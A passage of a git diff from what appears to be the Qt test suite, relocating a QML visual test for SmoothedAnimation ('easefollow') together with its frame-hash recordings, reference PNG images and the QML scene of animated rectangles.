msec: 5232 - hash: "b6955407245c73e356a460d99dad77be" - } - Frame { - msec: 5248 - hash: "6018b53414921943b37c33fa04a29697" - } - Frame { - msec: 5264 - hash: "ff184d349ce0b648f8c1fce91ae997f6" - } - Frame { - msec: 5280 - hash: "9c112a3a785d970593887eeab72fa7fe" - } - Frame { - msec: 5296 - hash: "00384fb20d4c6cd6236d519d2d734cc3" - } - Frame { - msec: 5312 - hash: "601ea99400e5f50ee9a5a4b74b6f3017" - } - Frame { - msec: 5328 - hash: "9afed04bf7eca24d9b6d31ac84ae59c2" - } - Frame { - msec: 5344 - hash: "1983319c8043bfe403513af7ccb5b924" - } - Frame { - msec: 5360 - hash: "b0244e4e1b61202ede78405415c22bca" - } - Frame { - msec: 5376 - hash: "ec5516b1aaeace8784b04649c51ab40b" - } - Frame { - msec: 5392 - hash: "8ff7d2001594abb588f769bab15406d7" - } - Frame { - msec: 5408 - hash: "64d5fd96a1726aa5276f9b508566676f" - } - Frame { - msec: 5424 - hash: "ab49497a6c825038354f076bdbbbc235" - } - Frame { - msec: 5440 - hash: "6b821e43be932800b20af58a7b5a1ff7" - } - Frame { - msec: 5456 - hash: "683a2902300f930e2a81a82dc37c583b" - } - Frame { - msec: 5472 - hash: "86d7946d7fbb66369ccbf26430939225" - } - Frame { - msec: 5488 - hash: "fb38f5fb6555fc14e95a47c595a6ea0c" - } - Frame { - msec: 5504 - hash: "3878f685d9fa3299e9ffe78c22595387" - } - Frame { - msec: 5520 - hash: "b48840a68ff007901b02332c7177f315" - } - Frame { - msec: 5536 - hash: "9d847abc99220b04aceef12e5c09aac0" - } - Frame { - msec: 5552 - hash: "9893ac89fda64d96ec4140c3c87e17a5" - } - Frame { - msec: 5568 - hash: "cd94e1c36e6be9877cd9c12df42bd968" - } - Frame { - msec: 5584 - hash: "c1ce5e53b74af022dc103ad74ff5f1af" - } - Frame { - msec: 5600 - hash: "b3630e08eac02a9578a00b01baabaaba" - } - Frame { - msec: 5616 - hash: "0eb9241aa1f9526c1e24ba76d630805c" - } - Frame { - msec: 5632 - hash: "1b532ae7f9253469467522d4ca66c47b" - } - Frame { - msec: 5648 - hash: "7e6e49079ed6330da2e337a5e4ffd730" - } - Frame { - msec: 5664 - hash: "0391d668f4b906b244a5f5c1713573c2" - } - Frame { - msec: 5680 - hash: "8070fa3280d0d64bf976d4a276359c4c" - } - Frame { - msec: 5696 - hash: "f7d0d36a2d40c798f56ac7ecc1effca6" - } - Frame { - msec: 5712 - hash: "9f8e35ee5080e811c670c480a9c2bd9f" - } - Frame { - msec: 5728 - hash: "c7fea75a43a59a11aa504df32afcdaf8" - } - Frame { - msec: 5744 - hash: "7e549a93ffc6ddcc3d8111f10c05b29e" - } - Frame { - msec: 5760 - image: "easefollow.5.png" - } - Frame { - msec: 5776 - hash: "92d298262f610a2dafa095e3d67c80af" - } - Frame { - msec: 5792 - hash: "db8826b0b2feece0999863b8827a6234" - } - Frame { - msec: 5808 - hash: "12c7050e8094bb39212aed0163666d1a" - } - Frame { - msec: 5824 - hash: "69531beace5c749bf90160a4b25f736a" - } - Frame { - msec: 5840 - hash: "ce873e4dbc8853183b54d59991b2e030" - } - Frame { - msec: 5856 - hash: "fa1078973634578d69527402b11fb7e0" - } - Frame { - msec: 5872 - hash: "1e3b3db590567c0afd1913101192cda9" - } - Frame { - msec: 5888 - hash: "7b9e097018278b784973a546da3d401a" - } - Frame { - msec: 5904 - hash: "a7b0667093888480de6697280aeea9ba" - } - Frame { - msec: 5920 - hash: "e381f2422ead86575abf643b0b0c9797" - } - Frame { - msec: 5936 - hash: "44b08f5a0de2a6955e02f67753f409c8" - } - Frame { - msec: 5952 - hash: "db04665e58448ecc7f95baa3e4ea79a5" - } - Frame { - msec: 5968 - hash: "0e4aae728d8d543538a9446c41e18e91" - } - Frame { - msec: 5984 - hash: "e3cd1bbb1d9963e5c74d36e526a871b0" - } - Frame { - msec: 6000 - hash: "bcd893a0e200ddda4e1468c159018865" - } - Frame { - msec: 6016 - hash: "9c5293356aa6312f909e655e9bcf961b" - } - Frame { - msec: 6032 - hash: "0bab7b9166f6af554d4fa0badeec739e" - } - Frame { - msec: 6048 - hash: "e74996581f0aaeced118c5cbfd977d90" - } - Frame { - msec: 6064 - hash: "5d128eb20a2a23da8c2d9a35293e5769" - } - Frame { - msec: 6080 - hash: "ebbbc343698287faf7ffa7526a726b54" - } - Frame { - msec: 6096 - hash: "d812172192cc19590f9a2d7dbf970439" - } - Frame { - msec: 6112 - hash: "60263addb1b4b5ac43f8199b8ed77e40" - } - Frame { - msec: 6128 - hash: "702a1ff2876eaaa59359811bb6437c5b" - } - Frame { - msec: 6144 - hash: "8f81dc43decce5094ee7a089f0009730" - } - Frame { - msec: 6160 - hash: "efda5dd9edd83a0da089d0b28806c6b6" - } - Frame { - msec: 6176 - hash: "7274a33a7a5272d7abdaf41f4b2bf664" - } - Frame { - msec: 6192 - hash: "0cc80077476e721a3da85c17cc56a65e" - } - Frame { - msec: 6208 - hash: "e65a534f0e7e70520a9c2cfa09ee8159" - } - Frame { - msec: 6224 - hash: "b05b514c63bd8998785382e6a9cbd849" - } - Frame { - msec: 6240 - hash: "10a04d641e0cc65c120d8bcf2f3e54c8" - } - Frame { - msec: 6256 - hash: "68418e2206a496dd15a05b50fec6f87e" - } - Frame { - msec: 6272 - hash: "6549e0989e1c86e3a7eb0dcc8dd31380" - } - Frame { - msec: 6288 - hash: "bd0193c2cbc8958f674f4ec52a693b72" - } - Frame { - msec: 6304 - hash: "746440b45a3688dbd32b34c57454e956" - } - Frame { - msec: 6320 - hash: "6b54ee8af30be2178e8b3afab5dcb4c7" - } - Frame { - msec: 6336 - hash: "ba2fbad3fe2fe25ec0c0c542659168dc" - } - Frame { - msec: 6352 - hash: "84bd72703bd8200f8f090783d06ae451" - } - Frame { - msec: 6368 - hash: "17c9fb063280c2ee4cb4a13273bbb199" - } - Frame { - msec: 6384 - hash: "df28fd55719f5c2d164596d02c2faff2" - } - Frame { - msec: 6400 - hash: "c2e280e78e892200d40022d17ce695b7" - } - Frame { - msec: 6416 - hash: "c657caa0c5158e178ec5df80bbad6bcb" - } - Frame { - msec: 6432 - hash: "d91f4f6ec6503fe8280f9b02dd11e64a" - } - Frame { - msec: 6448 - hash: "0fb9400cdca9dbd4035fbf8af9952360" - } - Frame { - msec: 6464 - hash: "cac0e1b4aa094306b95f90ede4705391" - } - Frame { - msec: 6480 - hash: "e60a4bb14300a937a767effee931c60f" - } - Frame { - msec: 6496 - hash: "8b461397e3f210ee7e9305dcab2af2db" - } - Frame { - msec: 6512 - hash: "6ce9ec0942dd06c9f73929a7e176852c" - } - Frame { - msec: 6528 - hash: "da36e254635eea854a6552ba008117f9" - } - Frame { - msec: 6544 - hash: "0bec6402b5eb09d05ce8e9ff5253ea8d" - } - Frame { - msec: 6560 - hash: "72f6610527d395ca590eda166ef6bc4e" - } - Frame { - msec: 6576 - hash: "622ae3fd47adb2432e2a40d3c5539393" - } - Frame { - msec: 6592 - hash: "0b18c49e2bbf9370216e06b555faf183" - } - Frame { - msec: 6608 - hash: "0c090bb975fb883301b52479fd6f5fdf" - } - Frame { - msec: 6624 - hash: "c4205d7ecb7327426d9591e77247acab" - } - Frame { - msec: 6640 - hash: "f0e0075243e4b8aa97056248fe6033ed" - } - Frame { - msec: 6656 - hash: "47f99b40a8764ee9d9e429061fb7acb2" - } - Frame { - msec: 6672 - hash: "49e8c1e974b0716570d85109b53817a5" - } - Frame { - msec: 6688 - hash: "72f981bad831b6ed858009527902f734" - } - Frame { - msec: 6704 - hash: "e959a0493b06369a429f90f66cb65977" - } - Frame { - msec: 6720 - image: "easefollow.6.png" - } - Frame { - msec: 6736 - hash: "93470d983282f24425558f47ad705154" - } - Frame { - msec: 6752 - hash: "cdccbe1a7c7abd4a6a6ee754ed0c9759" - } - Frame { - msec: 6768 - hash: "0e1b7b5332a9fcdb492db5314a2a0267" - } - Frame { - msec: 6784 - hash: "1e1ffe3439aab51d0b325474e7d8dc28" - } - Frame { - msec: 6800 - hash: "e8e7e9b5871caf77f15678616d6c9c8a" - } - Frame { - msec: 6816 - hash: "9771fff3b7752154d093c038bea73d28" - } - Frame { - msec: 6832 - hash: "1af851ea214cbddb0e3a743084a5cf6b" - } - Frame { - msec: 6848 - hash: "1566182a7e29bbb738705a90c4909617" - } - Frame { - msec: 6864 - hash: "feed650e1d948fe622234d212fb745f2" - } - Frame { - msec: 6880 - hash: "3cd3d063275b91f9680717421c118ba4" - } - Frame { - msec: 6896 - hash: "c1f088801334762cd499e7cc70e1e59a" - } - Frame { - msec: 6912 - hash: "e8f8d153e7a027a5092a9209411d97f7" - } - Frame { - msec: 6928 - hash: "f11747c3533b4b2fc77a64ca0cace8b0" - } - Frame { - msec: 6944 - hash: "21618c67a2a8bbce86fc872060ad40e8" - } - Frame { - msec: 6960 - hash: "02da96335db74b87ceefe91b1dfe72e6" - } - Frame { - msec: 6976 - hash: "2b2e4143143ead8dea5865fd782f1775" - } - Frame { - msec: 6992 - hash: "13e710900b05e26cdb030b1e2b2be715" - } - Frame { - msec: 7008 - hash: "29e8995d17aac4d02034debcbb9fcb98" - } - Frame { - msec: 7024 - hash: "1099db1b3e4c69e84c6ab1b7c311bf1e" - } - Frame { - msec: 7040 - hash: "cc7cb720043334f1eeb385dce4389dc2" - } - Frame { - msec: 7056 - hash: "34c7a62c1bc7261e2fd31c40068b37a7" - } - Frame { - msec: 7072 - hash: "7fafbe05cbcaa21893e3aa0f1fcfb5a0" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 7088 - hash: "5b26c8cf047706633795a8ed3e703a89" - } - Frame { - msec: 7104 - hash: "e0774bf9e74d0cde81c5cb216a9258fc" - } - Frame { - msec: 7120 - hash: "0870262f643245e13f4fba79fd575897" - } - Frame { - msec: 7136 - hash: "8faf0d050bb435ade8af5012c1a6b0dc" - } - Frame { - msec: 7152 - hash: "382c037895cc39a6870db57b5016c01f" - } - Frame { - msec: 7168 - hash: "f1f5a2cbc103ab1bee9f537fa8266e03" - } -} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/easefollow.qml b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/easefollow.qml deleted file mode 100644 index ee94857..0000000 --- a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/easefollow.qml +++ /dev/null @@ -1,45 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 800; height: 240; color: "gray" - - Rectangle { - id: rect - width: 50; height: 20; y: 30; color: "black" - SequentialAnimation on x { - loops: Animation.Infinite - NumberAnimation { from: 50; to: 700; duration: 2000 } - NumberAnimation { from: 700; to: 50; duration: 2000 } - } - } - - Rectangle { - width: 50; height: 20; y: 60; color: "red" - x: rect.x - Behavior on x { SmoothedAnimation { velocity: 400 } } - } - - Rectangle { - width: 50; height: 20; y: 90; color: "yellow" - x: rect.x - Behavior on x { SmoothedAnimation { velocity: 300; reversingMode: SmoothedAnimation.Immediate } } - } - - Rectangle { - width: 50; height: 20; y: 120; color: "green" - x: rect.x - Behavior on x { SmoothedAnimation { reversingMode: SmoothedAnimation.Sync } } - } - - Rectangle { - width: 50; height: 20; y: 150; color: "purple" - x: rect.x - Behavior on x { SmoothedAnimation { maximumEasingTime: 200 } } - } - - Rectangle { - width: 50; height: 20; y: 180; color: "blue" - x: rect.x - Behavior on x { SmoothedAnimation { duration: 300 } } - } -} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.0.png b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.0.png new file mode 100644 index 0000000..21b6afb Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.1.png b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.1.png new file mode 100644 index 0000000..bb8a02b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.2.png b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.2.png new file mode 100644 index 0000000..da60237 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.3.png b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.3.png new file mode 100644 index 0000000..3e943e8 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.4.png b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.4.png new file mode 100644 index 0000000..4fbaf26 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.5.png b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.5.png new file mode 100644 index 0000000..c10d196 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.6.png b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.6.png new file mode 100644 index 0000000..a672c06 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.qml b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.qml new file mode 100644 index 0000000..029a2fc --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/easefollow.qml @@ -0,0 +1,1807 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "1f60efdb8704b92c9361daa468a25391" + } + Frame { + msec: 32 + hash: "3bb6a87617e0e5d4922e573eec975886" + } + Frame { + msec: 48 + hash: "268941737e6324d580890b151de621fb" + } + Frame { + msec: 64 + hash: "99c674eccc082d7f0982257a748d93e5" + } + Frame { + msec: 80 + hash: "2970467e8262c8a3f0b11be71245d048" + } + Frame { + msec: 96 + hash: "63cbd06d6bb035d27c18dba49238d8b2" + } + Frame { + msec: 112 + hash: "49f77bb3d323f882c0ec56e1f1040b3a" + } + Frame { + msec: 128 + hash: "40263c5f9b5d2236536163785f832b4d" + } + Frame { + msec: 144 + hash: "dc63b1c21a2027c4beb9c297a3677fbd" + } + Frame { + msec: 160 + hash: "4fab52ea29a819fec032f19dbcbef012" + } + Frame { + msec: 176 + hash: "60b48407a8f8ae2cce7d3e7c8b21991c" + } + Frame { + msec: 192 + hash: "6e542c681092a5ebeef0534fa2bd2d6c" + } + Frame { + msec: 208 + hash: "c7c6471969bbf81efdb86d1695548fc6" + } + Frame { + msec: 224 + hash: "b7f4ad9a49feb400894209c02b94478a" + } + Frame { + msec: 240 + hash: "3eb58b2f5233aead976183c13f241113" + } + Frame { + msec: 256 + hash: "54f2036c50c6d8079fc0cadc01385980" + } + Frame { + msec: 272 + hash: "f297659d75f6e724d72bd548821f4c9f" + } + Frame { + msec: 288 + hash: "112798f080336fc9c603a7e9097dd8aa" + } + Frame { + msec: 304 + hash: "c432e6ec2b53ca43cb7a7325d0cc379b" + } + Frame { + msec: 320 + hash: "4a6d3db3efd665ad7f372bf3f2508ed7" + } + Frame { + msec: 336 + hash: "0befa5dc4d2cc196fed0eb1a3aa75b8f" + } + Frame { + msec: 352 + hash: "a34d010b50d59c362b54e44d69c2df91" + } + Frame { + msec: 368 + hash: "cbdacced50186c87066ce1d46548b27e" + } + Frame { + msec: 384 + hash: "a4060010ae4d3c0973bda48d68f7bd0a" + } + Frame { + msec: 400 + hash: "47353437da587f732f986004c09884d0" + } + Frame { + msec: 416 + hash: "080c348145167bbec671a04da6f7564f" + } + Frame { + msec: 432 + hash: "69dead737c717a076ae3865680341fb4" + } + Frame { + msec: 448 + hash: "1efdc31c5c8fa72fc848877deb6caaa4" + } + Frame { + msec: 464 + hash: "28d7da1e933d0585d03acf4a529e7b42" + } + Frame { + msec: 480 + hash: "bf85534124bf025b7ede0d6c80b8e443" + } + Frame { + msec: 496 + hash: "cdbeb2d51541b1b1eff060efe993db91" + } + Frame { + msec: 512 + hash: "52ad56ae16c8ab523adda8edc512dd87" + } + Frame { + msec: 528 + hash: "61b1937f4c8dd2cb0ddd7031c5bfb3ab" + } + Frame { + msec: 544 + hash: "1b109baba71b16827f90da654af093a3" + } + Frame { + msec: 560 + hash: "d56621362802c8626868f36ba1e7db22" + } + Frame { + msec: 576 + hash: "ee5555ec3ad8760f43bbf5958a925936" + } + Frame { + msec: 592 + hash: "1ed2831144a453af1978605c0e42d17c" + } + Frame { + msec: 608 + hash: "c74d5cdb3395a702269dfa88c8c9d975" + } + Frame { + msec: 624 + hash: "ea98ddd9588cc23fd82a342ec2925ba8" + } + Frame { + msec: 640 + hash: "e76b94d6d57f1a510f7649eaab892562" + } + Frame { + msec: 656 + hash: "022f40b6fe9dbaf8019855234acb3461" + } + Frame { + msec: 672 + hash: "467da4f48aa6aeb113f0797facf157e8" + } + Frame { + msec: 688 + hash: "8df407aadd4d896eb6537e1555a0242f" + } + Frame { + msec: 704 + hash: "122e4671881e31f54e617729f4fbb3b0" + } + Frame { + msec: 720 + hash: "562718f101c3cd7525b890076413df5e" + } + Frame { + msec: 736 + hash: "07feae99ecf4b70eb094fd3e10deca56" + } + Frame { + msec: 752 + hash: "0980d133b1006cc07796023880415163" + } + Frame { + msec: 768 + hash: "7112b6ac97678b3b942c64c5108f0329" + } + Frame { + msec: 784 + hash: "bb9f893a9aaee60ab6c30918552828a4" + } + Frame { + msec: 800 + hash: "65d1f29437aaaea33676757276f1e434" + } + Frame { + msec: 816 + hash: "52adcf2509f3236ac8ef571708e77206" + } + Frame { + msec: 832 + hash: "22df5e7eda8a813531d0e0366cbfbf64" + } + Frame { + msec: 848 + hash: "fe9b7b7812dd2410b8ed2eb19aa78f4d" + } + Frame { + msec: 864 + hash: "141e22de4469f316b5ef5471f3c7bba0" + } + Frame { + msec: 880 + hash: "1125c0a105fc4a2cae36b798058ce23f" + } + Frame { + msec: 896 + hash: "8c17c5da2ae867fb0016a485ba9e4166" + } + Frame { + msec: 912 + hash: "d8da9fc7ec4dcefb894c5a6a71e9d001" + } + Frame { + msec: 928 + hash: "00ff642bea89fd89de394d78f8c5db33" + } + Frame { + msec: 944 + hash: "8549063d517a3ce1ffd44c56b3b6cf5e" + } + Frame { + msec: 960 + image: "easefollow.0.png" + } + Frame { + msec: 976 + hash: "95a642caa72bb31cc1e04ecc12d07cd0" + } + Frame { + msec: 992 + hash: "e65c823476bf920d0386f62ca831e6a0" + } + Frame { + msec: 1008 + hash: "91e8913dc693c91a674a10b5b088dd8f" + } + Frame { + msec: 1024 + hash: "1a469ffa0d530f72c78dc14783891c78" + } + Frame { + msec: 1040 + hash: "6e46a83d07f8bc034b421103ef0e4f8c" + } + Frame { + msec: 1056 + hash: "8ddacab411a8b73b6c9e69576fa1b003" + } + Frame { + msec: 1072 + hash: "41f419a85fe44efe27c9a526d83a1e9a" + } + Frame { + msec: 1088 + hash: "73d4ece31b258f9caf4556ce20a5be1f" + } + Frame { + msec: 1104 + hash: "ef3ebe0acb50386cf79b9f08fbba2fbc" + } + Frame { + msec: 1120 + hash: "c11a84d2fa80f28adb1466409812e987" + } + Frame { + msec: 1136 + hash: "2e9db854b02d28b38063ff2a8e821ed1" + } + Frame { + msec: 1152 + hash: "48e073c0e6b19aea8314629a2179af87" + } + Frame { + msec: 1168 + hash: "77e518b7428d93b67a8fb0d33d85ed97" + } + Frame { + msec: 1184 + hash: "1d18323af9c62e015513451883f8b39f" + } + Frame { + msec: 1200 + hash: "df49889ba157cdc1ca240d08d2760ad7" + } + Frame { + msec: 1216 + hash: "7b8cd2bcf0a4c38ab870f27894a43d2f" + } + Frame { + msec: 1232 + hash: "84f10e0c9fd57dd1799df7fc34c5ef01" + } + Frame { + msec: 1248 + hash: "ead4e609bc4a0755032b1648485b9625" + } + Frame { + msec: 1264 + hash: "9a9829c3bd4a3a4155383c37e21e8db8" + } + Frame { + msec: 1280 + hash: "5008917f60256abad867f32c1caf954d" + } + Frame { + msec: 1296 + hash: "c21455d66ed0754177af5ce44b7c7600" + } + Frame { + msec: 1312 + hash: "e8332f2586d80a2700b610e8fe5c72d9" + } + Frame { + msec: 1328 + hash: "0d0c8af138f98bae8a370ebec4a4796c" + } + Frame { + msec: 1344 + hash: "04065e8feeb900d18deeb941572f7f10" + } + Frame { + msec: 1360 + hash: "992a225b1f25bf5b21dd7f8a55dc4b70" + } + Frame { + msec: 1376 + hash: "8ef739d91ee2a4337cbfc3dc94ce9845" + } + Frame { + msec: 1392 + hash: "46744977a26b37ab65e65e1891ceafe7" + } + Frame { + msec: 1408 + hash: "1b4c0d79eeb8d6b2e30172f3664407b9" + } + Frame { + msec: 1424 + hash: "d572831ed34d14d1125570b8b8767bdb" + } + Frame { + msec: 1440 + hash: "8b785c756d11e0fc18959d0897a45673" + } + Frame { + msec: 1456 + hash: "164a71ffcea63ceb6c1ebeb8d0d07af1" + } + Frame { + msec: 1472 + hash: "e128dc12d5117eed9f7c0a16e8348ba2" + } + Frame { + msec: 1488 + hash: "4c7db5b12d83bf22b1c88ac06ca7c385" + } + Frame { + msec: 1504 + hash: "c7283df8dbd78121e17a5893e3ea4f3c" + } + Frame { + msec: 1520 + hash: "fea768e5bb43f6d86d88ced9f73915de" + } + Frame { + msec: 1536 + hash: "b99b54f8e75452c539bb4e7b6a36e944" + } + Frame { + msec: 1552 + hash: "b7274938d16f03b376ad9739e2e893f1" + } + Frame { + msec: 1568 + hash: "e61601942193add8c1c8ebf5c5319932" + } + Frame { + msec: 1584 + hash: "8fdc2181e0120391505706716ba7e5d7" + } + Frame { + msec: 1600 + hash: "66f737ed28453da5175d6b5e807c374d" + } + Frame { + msec: 1616 + hash: "2e00a7895d61edbe794f0a8000871b30" + } + Frame { + msec: 1632 + hash: "1a279fc6b7c4105eccc4e3bc99481bef" + } + Frame { + msec: 1648 + hash: "bc1dea4d23ca9bc29b72a8c2bde4787b" + } + Frame { + msec: 1664 + hash: "8ef40e0be5fb82b32b365b3d4b85421d" + } + Frame { + msec: 1680 + hash: "ee37c68bf38d5eed4e3e9a31306f6801" + } + Frame { + msec: 1696 + hash: "303d760c87a7a833606c8e9f46cb5fc0" + } + Frame { + msec: 1712 + hash: "cc2563b47c58efd39bec6b4e0f2995bb" + } + Frame { + msec: 1728 + hash: "33f7daf09497510475283d6dc7c51228" + } + Frame { + msec: 1744 + hash: "5b5e2de9934c80bd49e0eb7afd85151d" + } + Frame { + msec: 1760 + hash: "5e6bf706336789ca6b60a82998b70113" + } + Frame { + msec: 1776 + hash: "b4d4a860f49bfb88dd2079862b40b7ec" + } + Frame { + msec: 1792 + hash: "07b571fa55327487e34a592c778beb67" + } + Frame { + msec: 1808 + hash: "cb5b349a536cf75a83734181b3eab92b" + } + Frame { + msec: 1824 + hash: "ce903bb58c5c86f2955e68412893aedf" + } + Frame { + msec: 1840 + hash: "ffa89e879558c83ed538812a93e2fe29" + } + Frame { + msec: 1856 + hash: "562aa66bf537853be82a654542c8b80e" + } + Frame { + msec: 1872 + hash: "dc45dac0cc20220bcc81210fb5506ee2" + } + Frame { + msec: 1888 + hash: "3b429eb827df0800a1ad8b906ea32ef9" + } + Frame { + msec: 1904 + hash: "d6ebaf12515d9e24cdbf6d75080c0b28" + } + Frame { + msec: 1920 + image: "easefollow.1.png" + } + Frame { + msec: 1936 + hash: "9f6d26224055c809dc2f3490cd0ff880" + } + Frame { + msec: 1952 + hash: "5630cc8f0b401f7d81bdceaaae5cce68" + } + Frame { + msec: 1968 + hash: "dafda60467e5e2b99c41543dd191ac2d" + } + Frame { + msec: 1984 + hash: "e053cb07a734278cd111d612883c165e" + } + Frame { + msec: 2000 + hash: "63870f3e99c11707004dab9439d61389" + } + Frame { + msec: 2016 + hash: "14c311a6fab45f828c3a19535ea9edc8" + } + Frame { + msec: 2032 + hash: "13e614446cbfcbfd2a7ecc5f0e8688df" + } + Frame { + msec: 2048 + hash: "173c97f59da05b9347180a4824e60c06" + } + Frame { + msec: 2064 + hash: "932e2a9bbcb7dc5befca8f63d8fa3c95" + } + Frame { + msec: 2080 + hash: "4b8f232ffe0cbc7f900de5737c9f95be" + } + Frame { + msec: 2096 + hash: "9686d294d4e931a5eed0e6b5bda63377" + } + Frame { + msec: 2112 + hash: "969c569d92e3ec51dfbdd20d64432224" + } + Frame { + msec: 2128 + hash: "0cef3550cca9fb5611b836098c517dd1" + } + Frame { + msec: 2144 + hash: "6728080a09aa5d48462a3abb8e285e8a" + } + Frame { + msec: 2160 + hash: "4b904dc671b7fc72db0b6e52543e96bd" + } + Frame { + msec: 2176 + hash: "38232f89dffc9b16db6ea60b02f8d1be" + } + Frame { + msec: 2192 + hash: "6b41f2a0f950eddad217a03e137f9a9b" + } + Frame { + msec: 2208 + hash: "be576ea74c2c404da46fcf1d22de6df9" + } + Frame { + msec: 2224 + hash: "3f44bad4b51ceff2944337064a5efa91" + } + Frame { + msec: 2240 + hash: "e1ab98ac1366e9fd8af62a6a26878c73" + } + Frame { + msec: 2256 + hash: "bd131e1725a54b3dbbb86a29ca8a56a9" + } + Frame { + msec: 2272 + hash: "4d3e8af70f228643803f780c4e36f1a6" + } + Frame { + msec: 2288 + hash: "853a5ab4271af7a7638454cfa883aa33" + } + Frame { + msec: 2304 + hash: "ede9260157000f346900153ce2409278" + } + Frame { + msec: 2320 + hash: "b2b16d8ce1ba89f0d9558ac387e25c3d" + } + Frame { + msec: 2336 + hash: "387d338910453637c5cf80fa35528e56" + } + Frame { + msec: 2352 + hash: "26deabf9cdd994455f2a8802eb0e04dc" + } + Frame { + msec: 2368 + hash: "13939659a315dae1b81e3ea166102edf" + } + Frame { + msec: 2384 + hash: "be92b55bb7562372401b25a9167abb2b" + } + Frame { + msec: 2400 + hash: "ee7bf60d7ee97b7de5e909b9af88df80" + } + Frame { + msec: 2416 + hash: "434313a3bcd1d7582b0d89b9a145ef09" + } + Frame { + msec: 2432 + hash: "0857ca59a283897e3df62b9633488f83" + } + Frame { + msec: 2448 + hash: "76718fc7e3d21b54930bc8307a57733a" + } + Frame { + msec: 2464 + hash: "93a91588b38129053a462b920fd686e3" + } + Frame { + msec: 2480 + hash: "2a2486c52fde915696fd8cbd3682e8db" + } + Frame { + msec: 2496 + hash: "b1f4ab6cc5fb4a3a1b4885f2d1b29277" + } + Frame { + msec: 2512 + hash: "4258afce8a85a2e9ead149e34b43d8fc" + } + Frame { + msec: 2528 + hash: "6672c71b98e13d51ebb523aed9036a72" + } + Frame { + msec: 2544 + hash: "eaa39af7eb78948f433e3b44a9454317" + } + Frame { + msec: 2560 + hash: "0a766bc97bea67d4b848c703eaa6777a" + } + Frame { + msec: 2576 + hash: "0b461ec1885ede1dd96b71cf38bfd3d6" + } + Frame { + msec: 2592 + hash: "15efc929370a3864529080e30db1026a" + } + Frame { + msec: 2608 + hash: "e1529e30ff1e4ea1b092a88e85f2f1f6" + } + Frame { + msec: 2624 + hash: "f29bd9dbf7317e94b885da63f0cb7374" + } + Frame { + msec: 2640 + hash: "e5294e087e2ce0d7d936c0129b6c37ae" + } + Frame { + msec: 2656 + hash: "9c63129e774b391cc398cf5da5c9339c" + } + Frame { + msec: 2672 + hash: "4371d85854419d4b00671176bb7c5a2b" + } + Frame { + msec: 2688 + hash: "dd10b3f50e2fdc56c75f00321634b1cc" + } + Frame { + msec: 2704 + hash: "aac6256b21152a5f1f8c576b667d275e" + } + Frame { + msec: 2720 + hash: "c937c44037b2228590d334df4d56a86f" + } + Frame { + msec: 2736 + hash: "f6c714db51cbd1bdb737afe612c33f9c" + } + Frame { + msec: 2752 + hash: "0bba45af79f3201bc7cf042d5c648f73" + } + Frame { + msec: 2768 + hash: "941b08ddbafea3bd46262c060b1e290b" + } + Frame { + msec: 2784 + hash: "d898918dc2023de239b4ab38f7420960" + } + Frame { + msec: 2800 + hash: "d1a16dc2282329113093d06862e7a871" + } + Frame { + msec: 2816 + hash: "bba5359475f643fbeee240e71e843d4c" + } + Frame { + msec: 2832 + hash: "03cf861f4b6bc767e723e47e95c2448b" + } + Frame { + msec: 2848 + hash: "a64bf158c6199b88bc2db3b741d342f0" + } + Frame { + msec: 2864 + hash: "cf0fe7cb42ba842f1c28c1211adb768d" + } + Frame { + msec: 2880 + image: "easefollow.2.png" + } + Frame { + msec: 2896 + hash: "9b3c6414e4ef5a452a5c92bb0b893fc3" + } + Frame { + msec: 2912 + hash: "7cc7ddec3ac2d8cac33c0b0f80a7544d" + } + Frame { + msec: 2928 + hash: "7dd4e7d606e953c872c57fad786d64aa" + } + Frame { + msec: 2944 + hash: "117cc903a39d99ca22f6556095e6f883" + } + Frame { + msec: 2960 + hash: "c6c9304fd65fee1909473bdb21ac7806" + } + Frame { + msec: 2976 + hash: "8e704fe81c040f49c4d80e7dcc46084d" + } + Frame { + msec: 2992 + hash: "d202d5c0a058e1e088fdd280e59f17bb" + } + Frame { + msec: 3008 + hash: "90c072dea32c056f8bd6d010df681929" + } + Frame { + msec: 3024 + hash: 